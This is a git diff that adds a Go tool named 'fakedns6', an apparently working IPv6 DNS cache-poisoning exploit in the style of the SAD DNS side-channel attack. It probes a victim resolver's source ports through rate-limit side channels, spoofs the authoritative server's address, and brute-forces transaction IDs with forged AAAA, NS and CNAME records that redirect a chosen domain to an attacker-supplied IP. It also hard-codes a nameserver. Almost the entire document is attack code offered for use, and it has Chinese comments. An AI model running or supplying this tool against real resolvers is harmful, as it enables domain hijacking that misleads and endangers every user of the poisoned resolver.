+ xmitUDPv6(authIP, r.resolverBackendIP, 53, layers.UDPPort(ports[i]), flow, 100)
+ } else {
+ xmitUDPv6(authIP, r.resolverBackendIP, 53, layers.UDPPort(ports[i]), flow, 1)
+ }
+ } else {
+ xmitUDPv6(authIP, r.resolverBackendIP, 53, layers.UDPPort(ports[i]), flow, 0)
+ }
+ }
+ time.Sleep(time.Duration(defaultJitter) * time.Millisecond)
+ // 验证
+ xmitUDPv6(verifyIP, r.resolverBackendIP, 53, 65535, flow, 10)
+ r.groupSendTime[flow] = time.Now()
+ if rand.Uint32()%100 < 2 {
+ if debugOutput {
+ fmt.Println("目标"+r.resolverBackendIP.String(), "探测中", "当前端口范围"+strconv.Itoa(int(ports[0]))+"~~"+strconv.Itoa(int(ports[0]+49)))
+ } else {
+ fmt.Println("开放端口猜测中,请稍后...")
+ }
+ }
+
+ // 等待全局计数器恢复
+ if !attackForwarder {
+ time.Sleep(time.Duration(60-defaultJitter) * time.Millisecond)
+ } else {
+ /* IDK why I wrote this line. Forwarders should be the same as resolvers if they support global rate limit. */
+ time.Sleep(time.Duration(60) * time.Millisecond)
+ }
+ r.networkXmitLock.Unlock()
+ }
+}
+
+// 划分端口
+func portGroupFormer(r *backendResolver, startPort uint, endPort uint) {
+ for {
+ //divide into groups
+ var id uint32 = 0
+ var currentGroupSize = 0
+
+ for i := startPort; i <= endPort; i++ {
+ // 端口不太可能用于进一步的查询。但这仍然是可能的。如果觉得端口重用不太可能发生,请在这里取消注释
+ if r.alwaysOpenPorts[i] {
+ continue
+ }
+ if currentGroupSize%GROUP_SIZE == 0 {
+ if id != 0 {
+ r.probeChannel <- id
+ for j := 1; j < repeatTimes; j++ {
+ //dup
+ previd := id
+ id = allocateGroupID(r)
+ r.groups[id] = make([]uint16, len(r.groups[previd]))
+ copy(r.groups[id], r.groups[previd])
+ r.probeChannel <- id
+ }
+ }
+
+ id = allocateGroupID(r)
+ r.groups[id] = make([]uint16, 0)
+ }
+
+ r.groups[id] = append(r.groups[id], uint16(i))
+ currentGroupSize++
+ }
+
+ //deal with last several cases
+ if /*len(r.groups[id]) != 50 &&*/ len(r.groups[id]) != 0 {
+ for len(r.groups[id]) != 50 && len(r.groups[id]) != 0 {
+ r.groups[id] = append(r.groups[id], 65535)
+ }
+
+ r.probeChannel <- id
+
+ for j := 1; j < repeatTimes; j++ {
+ //dup
+ previd := id
+ id = allocateGroupID(r)
+ r.groups[id] = make([]uint16, len(r.groups[previd]))
+ copy(r.groups[id], r.groups[previd])
+ r.probeChannel <- id
+ }
+ }
+ }
+}
+
+func main() {
+
+ /* This program only finds & injects DNS responses automatically. Additional authoritative server muting/flooding scripts are needed. */
+ /* IPv4 is not supported yet. */
+ /* Use "-h to get usage. " */
+ /* Attaching PoC? */
+ /* Add Paper Bio? */
+ ifaceName := flag.String("i", "vmnet1", "Interface for attacking. Multiple interfaces are not supported. Multiple IPs per interface is supported.")
+ /* If automatic MAC address discovery doesn't work. consider enable this option and feed it to the MAC field. */
+ // gateWayMacStr := flag.String("g", "00:11:22:33:44:55", "Gateway Mac")
+ authServer := flag.String("a", "", "Authoritative server for the domain to be poisoned.")
+ resolver := flag.String("r", "8.8.8.8", "Front-end IP of the victim resolver.")
+ resolverBackend := flag.String("b", "", "Back-end IP of the victim resolver.")
+ resolverBackendList := flag.String("bn", "", "Back-end IP list of the victim resolver. One per line. This would overwrite \"-b\" and is used when the server has multiple backend IPs.")
+ startPort := flag.Uint("s", 1, "Lowest port # for the port scan range, inclusive.")
+ endPort := flag.Uint("e", 65534, "Highest port # for the port scan range, inclusive.")
+ victimDNSName := flag.String("n", "", "The domain name to be poisoned.")
+ dnsQueryTimeout := flag.Uint("t", 4000, "Timeout in ms for outgoing dns queries to the victim resolver. Should be aligned with the resolver's timeout (e.g., BIND is 10000ms by default).")
+ defaultJitter := flag.Uint("j", 5, "Time gap between verification packet and the latest probe packet in a group. Increase the value if Jitter is increased.")
+ repeatTimes := flag.Int("R", 1, "Retransmit/Reprobe a group of ports for X times to reduce FNs.")
+ timeGap := flag.Uint("tg", 0, "Time gap is us(microseconds) between the TxID brute force packets.")
+ attTargetAddr := flag.String("ad", "", "想要篡改实现的结果")
+ debugOutput := flag.Bool("d", false, "调试输出模式.")
+ attackerMaliciousDomain := flag.String("f", "", "Attacker controlled domain used in the forwarder attack, this will enable the forwarder attack mode.")
+ soaName = *flag.String("soa", "", "SOA name of the victim domain on attacker-controlled name server used to indicate the resolver has been poisoned. (Resolver attack only.)")
+
+ flag.Parse()
+ fmt.Println("侧信道脚本工作参数:")
+ fmt.Println("\t网络接口:" + *ifaceName)
+ fmt.Println("\t目标域名权威服务器地址:" + *authServer)
+ fmt.Println("\t目标服务器地址:" + *resolverBackend)
+ fmt.Println("\t目标域名:" + *victimDNSName)
+ fmt.Println("\t预期修改结果:" + *attTargetAddr)
+ //gatewayMac, _ := net.ParseMAC(*gateWayMacStr)
+ Main(*ifaceName, net.ParseIP(*authServer), net.ParseIP(*resolver), net.ParseIP(*resolverBackend), *startPort, *endPort, *victimDNSName, *dnsQueryTimeout, *defaultJitter,
+ *attackerMaliciousDomain, *resolverBackendList, *debugOutput, *repeatTimes, *timeGap, *attTargetAddr, soaName)
+ os.Exit(0)
+}
+
+func Main(ifaceName string, authIPArg net.IP, resolverIPArg net.IP, resolverBackendIPArg net.IP, startPort uint, endPort uint, victimDNSNameArg string, dnsQueryTimeout uint,
+ defaultJitterArg uint, attackerMaliciousDomainArg string, resolverBackendList string, debugOutputArg bool, repeatTimesArg int, timeGapArg uint, attTargetAddrArg string,
+ soaNameArg string) {
+ rand.Seed(time.Now().UnixNano())
+
+ handle, _ = pcap.OpenLive(
+ ifaceName,
+ 65536,
+ true,
+ pcap.BlockForever,
+ )
+ err := handle.SetBPFFilter("not host " + authIPArg.To16().String())
+ if err != nil {
+ fmt.Println("cannot set BPF filter.")
+ }
+
+ iface, err := net.InterfaceByName(ifaceName)
+ if err != nil {
+ fmt.Println("cannot open network interface")
+ os.Exit(1)
+ }
+ // 是否攻击转发器
+ if attackerMaliciousDomainArg != "" {
+ attackForwarder = true
+ fmt.Println("转发器攻击模式!")
+ attackerControlledDomain = attackerMaliciousDomainArg
+ }
+
+ // 参数赋值
+ authIP = authIPArg
+ resolverIP = resolverIPArg
+ victimDNSName = victimDNSNameArg
+ debugOutput = debugOutputArg
+ timeGap = timeGapArg
+ attTargetAddr = attTargetAddrArg
+ soaName = soaNameArg
+
+ localIP, _ = GetIfaceAddrMulti(iface)
+ nonce := strconv.Itoa(rand.Int())
+
+ if !attackForwarder {
+ //dnsQueryName = nonce + "." + victimDNSName
+ dnsQueryName = victimDNSName
+ } else {
+ dnsQueryName = nonce + "." + attackerControlledDomain
+ }
+
+ defaultJitter = defaultJitterArg
+ repeatTimes = repeatTimesArg
+
+ if resolverBackendList != "" {
+ file, err := os.Open(resolverBackendList)
+ if err != nil {
+ fmt.Println(err)
+ os.Exit(10)
+ }
+ for {
+ var resolverIP string
+ n, err := fmt.Fscanf(file, "%s", &resolverIP)
+ if n <= 0 || err != nil {
+ break
+ }
+ backendResolvers = append(backendResolvers, backendResolverBuilder(net.ParseIP(resolverIP)))
+ }
+ } else {
+ //r1 shouldn't be nil
+ r1 := backendResolverBuilder(resolverBackendIPArg)
+ backendResolvers = append(backendResolvers, r1)
+ }
+
+ //figure out MAC address
+ //test if it's in LAN first
+ // dstMac, err := GetGatewayAddr(iface, handle, backendResolvers[0].resolverBackendIP.To16())
+ gwIP, err := getv6Gateway()
+ dstMac, err := getGatewayV6Mac(ifaceName, gwIP)
+ if err == nil {
+ ethernetLayer = &layers.Ethernet{
+ SrcMAC: iface.HardwareAddr,
+ DstMAC: dstMac,
+ //EthernetType: layers.EthernetTypeIPv4,
+ EthernetType: layers.EthernetTypeIPv6,
+ }
+ fmt.Println("\t目的Mac地址为:", dstMac)
+ } else {
+ //query routing table
+ router, err := routing.New()
+ if err != nil {
+ fmt.Println(err)
+ os.Exit(4)
+ }
+ _, nextHopIP, _, err := router.Route(backendResolvers[0].resolverBackendIP)
+ if err != nil {
+ fmt.Println(err)
+ os.Exit(5)
+ }
+ dstMac, err := GetGatewayAddr(iface, handle, nextHopIP.To16())
+ if err != nil {
+ fmt.Println(err)
+ os.Exit(6)
+ }
+ fmt.Println("MAC:", dstMac)
+ ethernetLayer = &layers.Ethernet{
+ SrcMAC: iface.HardwareAddr,
+ DstMAC: dstMac,
+ //EthernetType: layers.EthernetTypeIPv4,
+ EthernetType: layers.EthernetTypeIPv6,
+ }
+ }
+
+ // 开启接收线程,处理响应包判断攻击状态
+ go receivingThread()
+
+ for i, ip := range localIP {
+ // 只使用公网IP
+ if !ip.IsLoopback() {
+ if debugOutput {
+ fmt.Println("可用 IP", ip)
+ }
+ for _, r := range backendResolvers {
+ go perIPLimitRecover(r, i)
+ }
+ }
+ }
+ // 发送dns查询请求,触发端口开放
+ go dnsRequestSender(dnsQueryTimeout)
+
+ for _, r := range backendResolvers {
+ // 猜测端口
+ go probeSender(r)
+ // 端口范围组合
+ go portGroupFormer(r, startPort, endPort)
+ time.Sleep(25 * time.Millisecond)
+ }
+
+ time.Sleep(999 * time.Hour)
+
+}
+
+func allocateGroupID(r *backendResolver) uint32 {
+ r.groupIDCounterLock.Lock()
+ id := r.groupIDCounter
+ r.groupIDCounter++
+ if r.groupIDCounter == 0 {
+ r.groupIDCounter = 3
+ }
+ r.groupIDCounterLock.Unlock()
+ return id
+}
+
+func getBackendResolver(resolverIP net.IP) *backendResolver {
+ for _, r := range backendResolvers {
+ if compareIPv6Addr(r.resolverBackendIP, resolverIP) == 0 {
+ return r
+ }
+ }
+ return nil
+}
+
+func lockNetwork() {
+ for _, r := range backendResolvers {
+ r.networkXmitLock.Lock()
+ }
+}
+
+func unlockNetwork() {
+ for _, r := range backendResolvers {
+ r.networkXmitLock.Unlock()
+ }
+}
+
+func getLocalIPNum(ip net.IP) int {
+ for i, localip := range localIP {
+ if compareIPv6Addr(localip, ip) == 0 {
+ return i
+ }
+ }
+ return -1
+}
+
+func backendResolverBuilder(backendIP net.IP) *backendResolver {
+
+ if backendIP == nil {
+ return nil
+ }
+ temp := backendResolver{
+ resolverBackendIP: backendIP,
+ groups: make([][]uint16, 65536),
+ groupIDCounter: 3,
+ groupIDCounterLock: &sync.Mutex{},
+ groupSendTime: make([]time.Time, 65536),
+ probeChannel: make(chan uint32, 655),
+ priorityProbeChannel: make(chan uint32, 655),
+ alwaysOpenPorts: make([]bool, 65536),
+ perIPLimitCounter: make([]int, len(localIP)),
+ networkXmitLock: &sync.Mutex{},
+ }
+ for i := range temp.perIPLimitCounter {
+ temp.perIPLimitCounter[i] = 6
+ }
+ for i := 0; i < 65536; i++ {
+ temp.alwaysOpenPorts[i] = false
+ }
+ temp.alwaysOpenPorts[53] = true
+ temp.alwaysOpenPorts[0] = true
+ temp.alwaysOpenPorts[65535] = true
+ return &temp
+
+}
+
+// distribute verification to multiple IPs evenly
+func getIPwithAvailableCounter(r *backendResolver) net.IP {
+ seed := rand.Int() % len(localIP)
+ for i := 0; i < len(localIP); i++ {
+ if r.perIPLimitCounter[(i+seed)%len(localIP)] > 0 {
+ return localIP[(i+seed)%len(localIP)]
+ }
+ }
+ return nil
+}
diff --git a/att script/6(v6篡改)/code/src/fakedns6/dns.go b/att script/6(v6篡改)/code/src/fakedns6/dns.go
new file mode 100644
index 0000000..c29f9f9
--- /dev/null
+++ b/att script/6(v6篡改)/code/src/fakedns6/dns.go
@@ -0,0 +1,261 @@
+package main
+
+import (
+ "fmt"
+ "math/rand"
+ "net"
+ "time"
+
+ "github.com/google/gopacket/layers"
+)
+
+var bruteForceCouldBeKilled bool
+
+func sendDNSRequest(id uint16, name string) {
+ if debugOutput {
+ fmt.Println("Send new DNS request", name, id)
+ }
+ _sendDNSRequest(id, name, localIP[0], resolverIP, (layers.UDPPort)(rand.Uint32()), 53)
+}
+
+func _sendDNSRequest(id uint16, name string, src net.IP, dst net.IP, sport layers.UDPPort, dport layers.UDPPort) {
+ ipLayer := layers.IPv6{
+ FlowLabel: 1,
+ SrcIP: src,
+ DstIP: dst,
+ Version: 6,
+ HopLimit: 64,
+ NextHeader: layers.IPProtocolUDP,
+ //Flags: layers.IPv4DontFragment,
+ }
+ udpLayer := layers.UDP{
+ SrcPort: sport,
+ DstPort: dport,
+ }
+ dnsLayer := layers.DNS{
+ ID: id,
+ QR: false,
+ OpCode: 0,
+ AA: false,
+ TC: false,
+ RD: true,
+ RA: false,
+ Z: 0,
+ ResponseCode: 0,
+ QDCount: 1,
+ ANCount: 0,
+ NSCount: 0,
+ ARCount: 0,
+ Questions: []layers.DNSQuestion{{
+ Name: []byte(name),
+ Type: layers.DNSTypeAAAA,
+ Class: layers.DNSClassIN,
+ }},
+ Authorities: nil,
+ Additionals: nil,
+ }
+ err := udpLayer.SetNetworkLayerForChecksum(&ipLayer)
+ if err != nil {
+ fmt.Println("udpLayer.SetNetworkLayerForChecksum @ dns.go pos 0 error", err)
+ }
+ err = Send(handle, ethernetLayer, &ipLayer, &udpLayer, &dnsLayer)
+ if err != nil {
+ fmt.Println("can not send packet @ sendDNSRequest: ", err)
+ }
+}
+
+func bruteForceTerminatingTimer(timegap uint) {
+ time.Sleep(time.Duration(timegap) * time.Millisecond)
+ bruteForceCouldBeKilled = true
+}
+
+func dnsBruteForce(targetPort uint16, timegap uint, resolverBackendIP net.IP, attTargetAddr string) {
+ bruteForceShouldBeKilled = true
+ bruteForceCouldBeKilled = false
+ ipLayer := layers.IPv6{
+ FlowLabel: 2,
+ SrcIP: authIP,
+ DstIP: resolverBackendIP,
+ Version: 6,
+ HopLimit: 64,
+ NextHeader: layers.IPProtocolUDP,
+ //Flags: layers.IPv4DontFragment,
+ }
+ udpLayer := layers.UDP{
+ SrcPort: 53,
+ DstPort: layers.UDPPort(targetPort),
+ }
+ dnsLayer := layers.DNS{
+ ID: 0,
+ QR: true,
+ OpCode: 0,
+ AA: true,
+ TC: false,
+ RD: false,
+ RA: false,
+ Z: 0,
+ ResponseCode: layers.DNSResponseCodeNoErr,
+ }
+
+ if !attackForwarder {
+ dnsLayer.Questions = []layers.DNSQuestion{{
+ Name: []byte(dnsQueryName),
+ Type: layers.DNSTypeAAAA,
+ Class: layers.DNSClassIN,
+ }}
+ // 原方案:将域名NS篡改到attacker的服务器上
+ //dnsLayer.Authorities = []layers.DNSResourceRecord{{
+ // Name: []byte(victimDNSName),
+ // Type: layers.DNSTypeNS,
+ // Class: layers.DNSClassIN,
+ // TTL: 300,
+ // IP: nil,
+ // NS: []byte(auxDomain),
+ // CNAME: nil,
+ // PTR: nil,
+ // TXTs: nil,
+ // SOA: layers.DNSSOA{},
+ // SRV: layers.DNSSRV{},
+ // MX: layers.DNSMX{},
+ // OPT: nil,
+ // TXT: nil,
+ //}}
+ //dnsLayer.Answers = nil
+ //dnsLayer.Additionals = nil
+ dnsLayer.Authorities = []layers.DNSResourceRecord{{
+ Name: []byte(dnsQueryName),
+ Type: layers.DNSTypeNS,
+ Class: layers.DNSClassIN,
+ TTL: 300,
+ IP: nil,
+ // 暂时写死
+ NS: []byte("nsv6.n64.top"),
+ CNAME: nil,
+ PTR: nil,
+ TXTs: nil,
+ SOA: layers.DNSSOA{},
+ SRV: layers.DNSSRV{},
+ MX: layers.DNSMX{},
+ OPT: nil,
+ TXT: nil,
+ }}
+ dnsLayer.Answers = []layers.DNSResourceRecord{{
+ Name: []byte(dnsQueryName),
+ Type: layers.DNSTypeAAAA,
+ Class: layers.DNSClassIN,
+ TTL: 300,
+ /* Fill with any IP you want. The victim domain will be hijacked to this IP. */
+ IP: net.ParseIP(attTargetAddr),
+ NS: nil,
+ CNAME: nil,
+ PTR: nil,
+ TXTs: nil,
+ SOA: layers.DNSSOA{},
+ SRV: layers.DNSSRV{},
+ MX: layers.DNSMX{},
+ OPT: nil,
+ TXT: nil,
+ }}
+ dnsLayer.Additionals = nil
+ } else {
+ /* Change these flags accordingly to the request sent by the resolver. */
+ dnsLayer.AA = false
+ dnsLayer.RD = true
+ dnsLayer.RA = true
+ dnsLayer.Questions = []layers.DNSQuestion{{
+ Name: []byte(dnsQueryName),
+ Type: layers.DNSTypeAAAA,
+ Class: layers.DNSClassIN,
+ }}
+ dnsLayer.Answers = []layers.DNSResourceRecord{{
+ Name: []byte(dnsQueryName),
+ Type: layers.DNSTypeCNAME,
+ Class: layers.DNSClassIN,
+ TTL: 300,
+ IP: nil,
+ NS: nil,
+ CNAME: []byte(victimDNSName),
+ PTR: nil,
+ TXTs: nil,
+ SOA: layers.DNSSOA{},
+ SRV: layers.DNSSRV{},
+ MX: layers.DNSMX{},
+ OPT: nil,
+ TXT: nil,
+ }, {
+ Name: []byte(victimDNSName),
+ Type: layers.DNSTypeAAAA,
+ Class: layers.DNSClassIN,
+ TTL: 300,
+ /* Fill with any IP you want. The victim domain will be hijacked to this IP. */
+ IP: net.ParseIP(attTargetAddr),
+ NS: nil,
+ CNAME: nil,
+ PTR: nil,
+ TXTs: nil,
+ SOA: layers.DNSSOA{},
+ SRV: layers.DNSSRV{},
+ MX: layers.DNSMX{},
+ OPT: nil,
+ TXT: nil,
+ }}
+ }
+
+ err := udpLayer.SetNetworkLayerForChecksum(&ipLayer)
+ if err != nil {
+ fmt.Println("udpLayer.SetNetworkLayerForChecksum @ dns.go error", err)
+ }
+ if debugOutput {
+ fmt.Println("DNS BruteForce: ", targetPort)
+ }
+
+ startTime := time.Now()
+ var txid uint16
+ //try to see if this port is open in reality
+ for txid = 0; txid < GROUP_SIZE*2; txid++ {
+ dnsLayer.ID = txid
+ err = Send(handle, ethernetLayer, &ipLayer, &udpLayer, &dnsLayer)
+ if err != nil {
+ fmt.Println("can not send packet @ sendDNSRequest pos 1: ", err)
+ }
+ time.Sleep(time.Duration(timegap) * time.Microsecond)
+ }
+
+ /* This is used for early termination */
+ //verification packet
+ //xmitUDPv6(localIP, resolverBackendIP, layers.UDPPort(targetPort), 65535, 2, 0)
+ //go bruteForceTerminatingTimer( /*jitter + defaultJitter*/ defaultJitter + 60)
+
+ //continue brute force
+ for txid = GROUP_SIZE * 2; txid < 0xffff; txid++ {
+ /* This is used for early termination */
+ //if bruteForceCouldBeKilled && bruteForceShouldBeKilled {
+ // fmt.Println("DNS Brute force aborted")
+ // break
+ //}
+ dnsLayer.ID = txid
+ err := Send(handle, ethernetLayer, &ipLayer, &udpLayer, &dnsLayer)
+ if err != nil {
+ fmt.Println("can not send packet @ DNSBruteForce: ", err)
+ }
+ if timegap != 0 {
+ time.Sleep(time.Duration(timegap) * time.Microsecond)
+ }
+ }
+
+ //0xffff is missing from packet trace
+ /* This is used for early termination */
+ //if !bruteForceShouldBeKilled {
+ dnsLayer.ID = 0xffff
+ err = Send(handle, ethernetLayer, &ipLayer, &udpLayer, &dnsLayer)
+ if err != nil {
+ fmt.Println("can not send packet @ DNSBruteForce pos 2: ", err)
+ }
+ //}
+ if debugOutput {
+ fmt.Println("time: ", time.Now().Sub(startTime))
+ }
+
+ //help to recover the global counter
+ time.Sleep(time.Duration(60+ /*jitter + defaultJitter*/ defaultJitter) * time.Millisecond)
+}
diff --git a/att script/6(v6篡改)/code/src/fakedns6/go.mod b/att script/6(v6篡改)/code/src/fakedns6/go.mod
new file mode 100644
index 0000000..4baf665
--- /dev/null
+++ b/att script/6(v6篡改)/code/src/fakedns6/go.mod
@@ -0,0 +1,15 @@
+module fakedns6
+
+go 1.20
+
+require (
+ github.com/google/gopacket v1.1.19
+ github.com/miekg/dns v1.1.57
+)
+
+require (
+ golang.org/x/mod v0.12.0 // indirect
+ golang.org/x/net v0.17.0 // indirect
+ golang.org/x/sys v0.13.0 // indirect
+ golang.org/x/tools v0.13.0 // indirect
+)
diff --git a/att script/6(v6篡改)/code/src/fakedns6/go.sum b/att script/6(v6篡改)/code/src/fakedns6/go.sum
new file mode 100644
index 0000000..5ab4292
--- /dev/null
+++ b/att script/6(v6篡改)/code/src/fakedns6/go.sum
@@ -0,0 +1,25 @@
+github.com/google/gopacket v1.1.19 h1:ves8RnFZPGiFnTS0uPQStjwru6uO6h+nlr9j6fL7kF8=
+github.com/google/gopacket v1.1.19/go.mod h1:iJ8V8n6KS+z2U1A8pUwu8bW5SyEMkXJB8Yo/Vo+TKTo=
+github.com/miekg/dns v1.1.57 h1:Jzi7ApEIzwEPLHWRcafCN9LZSBbqQpxjt/wpgvg7wcM=
+github.com/miekg/dns v1.1.57/go.mod h1:uqRjCRUuEAA6qsOiJvDd+CFo/vW+y5WR6SNmHE55hZk=
+golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
+golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
+golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY=
+golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
+golang.org/x/mod v0.12.0 h1:rmsUpXtvNzj340zd98LZ4KntptpfRHwpFOHG188oHXc=
+golang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
+golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
+golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
+golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM=
+golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE=
+golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sync v0.4.0 h1:zxkM55ReGkDlKSM+Fu41A+zmbZuaPVbGMzvvdUPznYQ=
+golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
+golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.13.0 h1:Af8nKPmuFypiUBjVoU9V20FiaFXOcuZI21p0ycVYYGE=
+golang.org/x/sys v0.13.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
+golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
+golang.org/x/tools v0.13.0 h1:Iey4qkscZuv0VvIt8E0neZjtPVQFSc870HQ448QgEmQ=
+golang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58=
+golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
diff --git a/att script/6(v6篡改)/code/src/fakedns6/ipv6util.go b/att script/6(v6篡改)/code/src/fakedns6/ipv6util.go
new file mode 100644
index 0000000..09245d3
--- /dev/null
+++ b/att script/6(v6篡改)/code/src/fakedns6/ipv6util.go
@@ -0,0 +1,103 @@
+package main
+
+import (
+ "encoding/hex"
+ "fmt"
+ "net"
+ "os/exec"
+ "strings"
+ "syscall"
+ "unsafe"
+)
+
+type router struct {
+ ifaces []net.Interface
+ addrs []net.IP
+ v6 routeSlice
+}
+type routeSlice []*rtInfo
+
+type rtInfo struct {
+ // Dst net.IPNet
+ Gateway, PrefSrc net.IP
+ OutputIface uint32
+ Priority uint32
+}
+
+func getv6Gateway() (net.IP, error) {
+ rtr := &router{}
+
+ tab, err := syscall.NetlinkRIB(syscall.RTM_GETROUTE, syscall.AF_INET6)
+ if err != nil {
+ return nil, err
+ }
+
+ msgs, err := syscall.ParseNetlinkMessage(tab)
+ if err != nil {
+ return nil, err
+ }
+
+ for _, m := range msgs {
+ switch m.Header.Type {
+ case syscall.NLMSG_DONE:
+ break
+ case syscall.RTM_NEWROUTE:
+ // rtmsg := (*syscall.RtMsg)(unsafe.Pointer(&m.Data[0]))
+ attrs, err := syscall.ParseNetlinkRouteAttr(&m)
+ if err != nil {
+ return nil, err
+ }
+ routeInfo := rtInfo{}
+ rtr.v6 = append(rtr.v6, &routeInfo)
+ for _, attr := range attrs {
+ switch attr.Attr.Type {
+ // case syscall.RTA_DST:
+ // routeInfo.Dst.IP = net.IP(attr.Value)
+ // routeInfo.Dst.Mask = net.CIDRMask(int(rtmsg.Dst_len), len(attr.Value)*8)
+ case syscall.RTA_GATEWAY:
+ routeInfo.Gateway = net.IP(attr.Value)
+ case syscall.RTA_OIF:
+ routeInfo.OutputIface = *(*uint32)(unsafe.Pointer(&attr.Value[0]))
+ case syscall.RTA_PRIORITY:
+ routeInfo.Priority = *(*uint32)(unsafe.Pointer(&attr.Value[0]))
+ case syscall.RTA_PREFSRC:
+ routeInfo.PrefSrc = net.IP(attr.Value)
+ }
+ }
+ }
+ }
+ ips := []net.IP{}
+ for _, rt := range rtr.v6 {
+ if rt.Gateway != nil {
+ ips = append(ips, rt.Gateway)
+ }
+ }
+ return ips[0], nil
+}
+
+func getGatewayV6Mac(ifacename string, gwIP net.IP) (net.HardwareAddr, error) {
+ if debugOutput {
+ println("邻居发现--使用网卡接口为:" + ifacename)
+ }
+ out, err := exec.Command("ip", "-6", "neighbor", "show", "dev", ifacename).Output()
+ if err != nil {
+ println(err.Error())
+ } else {
+ outlines := strings.Split(string(out), "/n")
+ for _, line := range outlines {
+ linelist := strings.Split(line, " ")
+ // 与网关对应的MAC地址
+ if linelist[0] == gwIP.String() {
+
+ maclist := strings.Split(linelist[2], ":")
+ var macbyte []byte
+ for _, m := range maclist {
+ b, _ := hex.DecodeString(m)
+ macbyte = append(macbyte, b[0])
+ }
+ return net.HardwareAddr(macbyte), nil
+ }
+ }
+ }
+ return nil, fmt.Errorf("无法找到网关" + gwIP.String() + "对应的MAC地址")
+}
diff --git a/att script/6(v6篡改)/code/src/fakedns6/library.go b/att script/6(v6篡改)/code/src/fakedns6/library.go
new file mode 100644
index 0000000..edc4548
--- /dev/null
+++ b/att script/6(v6篡改)/code/src/fakedns6/library.go
@@ -0,0 +1,171 @@
+package main
+
+import (
+ "encoding/binary"
+ "errors"
+ "fmt"
+ "github.com/google/gopacket"
+ "github.com/google/gopacket/layers"
+ "github.com/google/gopacket/pcap"
+ "net"
+ "time"
+)
+
+func GetIfaceAddrMulti(iface *net.Interface) ([]net.IP, error) {
+ addrs, err := iface.Addrs()
+ if err != nil {
+ return nil, errors.New("can not get ip address")
+ }
+
+ var srcIP []net.IP
+ for _, address := range addrs {
+ if ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() {
+ if ipnet.IP.To16() != nil {
+ //check repeat
+ okToAdd := true
+ for _, temp := range srcIP {
+ if compareIPv6Addr(temp, ipnet.IP.To16()) == 0 {
+ okToAdd = false
+ break
+ }
+ }
+ if okToAdd {
+ srcIP = append(srcIP, ipnet.IP.To16())
+ }
+ }
+ }
+ }
+
+ if srcIP == nil || len(srcIP) == 0 {
+ return nil, errors.New("can not get ip address")
+ }
+
+ return srcIP, nil
+}
+
+func Send(handle *pcap.Handle, l ...gopacket.SerializableLayer) error {
+ opts := gopacket.SerializeOptions{
+ FixLengths: true,
+ ComputeChecksums: true,
+ }
+ buffer := gopacket.NewSerializeBuffer()
+ if err := gopacket.SerializeLayers(buffer, opts, l...); err != nil {
+ return err
+ }
+ return handle.WritePacketData(buffer.Bytes())
+}
+
+func GetIfaceAddr(iface *net.Interface) (net.IP, error) {
+ addrs, err := iface.Addrs()
+ if err != nil {
+ return nil, errors.New("can not get ip address")
+ }
+
+ var srcIP net.IP
+ for _, address := range addrs {
+ if ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() {
+ if ipnet.IP.To16() != nil {
+ srcIP = ipnet.IP.To16()
+ break
+ }
+ }
+ }
+
+ if srcIP == nil {
+ return nil, errors.New("can not get ip address")
+ }
+
+ return srcIP, nil
+}
+
+func GetGatewayAddr(iface *net.Interface, handle *pcap.Handle, gatewayIP net.IP) (net.HardwareAddr, error) {
+ srcIP, err := GetIfaceAddr(iface)
+ if err != nil {
+ return nil, errors.New("can not get ip address")
+ }
+
+ start := time.Now()
+ // Prepare the layers to send for an ARP request.
+ eth := layers.Ethernet{
+ SrcMAC: iface.HardwareAddr,
+ DstMAC: net.HardwareAddr{0xff, 0xff, 0xff, 0xff, 0xff, 0xff},
+ EthernetType: layers.EthernetTypeARP,
+ }
+ arp := layers.ARP{
+ AddrType: layers.LinkTypeEthernet,
+ Protocol: layers.EthernetTypeIPv6,
+ HwAddressSize: 6,
+ ProtAddressSize: 4,
+ Operation: layers.ARPRequest,
+ SourceHwAddress: []byte(iface.HardwareAddr),
+ SourceProtAddress: []byte(srcIP),
+ DstHwAddress: []byte{0, 0, 0, 0, 0, 0},
+ DstProtAddress: []byte(gatewayIP),
+ }
